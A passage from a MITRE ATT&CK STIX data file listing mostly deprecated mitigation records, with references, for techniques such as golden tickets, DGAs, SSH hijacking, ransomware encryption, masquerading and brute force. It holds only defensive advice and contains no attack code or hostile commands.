containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b","type":"course-of-action","created":"2019-02-18T17:22:57.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1483","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1483"},{"description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","source_name":"Cybereason Dissecting DGAs"},{"source_name":"Cisco Umbrella DGA Brute Force","url":"https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/","description":"Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019."},{"description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.","url":"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html","source_name":"Akamai DGA Mitigation"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-24T19:13:31.378Z","name":"Domain Generation Algorithms Mitigation","description":"This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1146","external_id":"T1146"},{"url":"http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory","description":"Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.","source_name":"Securing bash history"}],"modified":"2019-07-24T18:05:00.492Z","name":"Clear Command History Mitigation","description":"Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1028","url":"https://attack.mitre.org/mitigations/T1028","source_name":"mitre-attack"},{"source_name":"NSA Spotting","description":"National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.","url":"https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"}],"modified":"2020-01-17T16:46:19.274Z","name":"Windows Remote Management Mitigation","description":"Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","type":"course-of-action","created":"2019-07-19T14:33:33.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"M1053","url":"https://attack.mitre.org/mitigations/M1053"}],"modified":"2020-03-31T13:11:28.201Z","name":"Data Backup","description":"Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1160","external_id":"T1160"}],"modified":"2019-07-24T19:48:23.825Z","name":"Launch Daemon Mitigation","description":"Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--417fed8c-bd76-48b5-90a2-a88882a95241","type":"course-of-action","created":"2019-04-24T17:01:10.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1489","source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1489"}],"modified":"2019-07-25T11:42:52.240Z","name":"Service Stop Mitigation","description":"Ensure proper process, registry, and file permissions are in place to inhibit adversaries from disabling or interfering with critical services. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Harden systems used to serve critical network, business, and communications functions. Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1184","external_id":"T1184"},{"url":"https://www.symantec.com/connect/articles/ssh-and-ssh-agent","description":"Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.","source_name":"Symantec SSH and ssh-agent"}],"modified":"2019-07-25T11:38:28.944Z","name":"SSH Hijacking Mitigation","description":"Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c","type":"course-of-action","created":"2019-03-15T14:49:53.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1486","source_name":"mitre-attack","external_id":"T1486"},{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","source_name":"Corio 2008"},{"url":"https://technet.microsoft.com/en-us/library/ee791851.aspx","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","source_name":"TechNet Applocker vs SRP"}],"modified":"2021-08-23T20:25:21.498Z","name":"Data Encrypted for Impact Mitigation","description":"Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1074","external_id":"T1074"}],"modified":"2019-07-24T19:05:13.374Z","name":"Data Staged Mitigation","description":"Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1051","external_id":"T1051"},{"url":"https://www.acunetix.com/websitesecurity/webserver-security/","description":"Acunetix. (n.d.). Web Server Security and Database Server Security. Retrieved July 26, 2018.","source_name":"acunetix Server Secuirty"},{"url":"https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf","description":"Scarfone, K. et al.. (2008, July). NIST Special Publication 800-123 - Guide to General Server Security. Retrieved July 26, 2018.","source_name":"NIST Server Security July 2008"}],"modified":"2019-07-25T11:43:54.859Z","name":"Shared Webroot Mitigation","description":"Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems. (Citation: acunetix Server Secuirty) (Citation: NIST Server Security July 2008)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--44155d14-ca75-4fdf-b033-ab3d732e2884","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1215","external_id":"T1215"},{"url":"http://rkhunter.sourceforge.net","description":"Rootkit Hunter Project. (2018, February 20). The Rootkit Hunter project. Retrieved April 9, 2018.","source_name":"SourceForge rkhunter"},{"url":"http://www.chkrootkit.org/","description":"Murilo, N., Steding-Jessen, K. (2017, August 23). Chkrootkit. Retrieved April 9, 2018.","source_name":"Chkrootkit Main"},{"url":"https://patchwork.kernel.org/patch/8754821/","description":"Vander Stoep, J. (2016, April 5). [v3] selinux: restrict kernel module loadinglogin register. Retrieved April 9, 2018.","source_name":"Kernel.org Restrict Kernel Module"}],"modified":"2019-07-24T19:44:56.371Z","name":"Kernel Modules and Extensions Mitigation","description":"Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.\n\nLKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.\n\nApplication whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4490fee2-5c70-4db3-8db5-8d88767dbd55","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1214","external_id":"T1214"}],"modified":"2019-07-24T14:22:57.902Z","name":"Credentials in Registry Mitigation","description":"Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1036","url":"https://attack.mitre.org/mitigations/T1036","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2021-08-23T20:25:19.740Z","name":"Masquerading Mitigation","description":"When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1102","external_id":"T1102"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"modified":"2019-07-25T12:34:04.565Z","name":"Web Service Mitigation","description":"Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--46acc565-11aa-40ba-b629-33ba0ab9b07b","type":"course-of-action","created":"2019-04-24T16:59:33.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/mitigations/T1496","source_name":"mitre-attack","external_id":"T1496"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:24.247Z","name":"Resource Hijacking Mitigation","description":"Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"T1040","url":"https://attack.mitre.org/mitigations/T1040","source_name":"mitre-attack"},{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.","url":"http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"}],"modified":"2020-01-17T16:45:23.909Z","name":"Network Sniffing Mitigation","description":"Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:53:48.791Z","name":"Execution Prevention","description":"Block execution of code on a system through application control, and/or script blocking.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","type":"course-of-action","id":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","created":"2019-06-11T16:35:25.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1038","external_id":"M1038"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--49961e75-b493-423a-9ec7-ac2d6f55384a","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1201","external_id":"T1201"},{"url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements","description":"Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.","source_name":"Microsoft Password Complexity"}],"modified":"2019-07-25T11:22:39.929Z","name":"Password Policy Discovery Mitigation","description":"Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)","x_mitre_deprecated":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-17T18:53:26.963Z","name":"Credential Access Protection","description":"Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","type":"course-of-action","id":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","created":"2019-06-11T16:47:12.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/M1043","external_id":"M1043"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1110","external_id":"T1110"},{"source_name":"NIST 800-63-3","url":"https://pages.nist.gov/800-63-3/sp800-63b.html","description":"Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."}],"modified":"2019-07-24T18:03:10.785Z","name":"Brute Force Mitigation","description":"Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.","x_mitre_deprecated":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271","type":"course-of-action","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/mitigations/T1066","external_id":"T1066"},{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 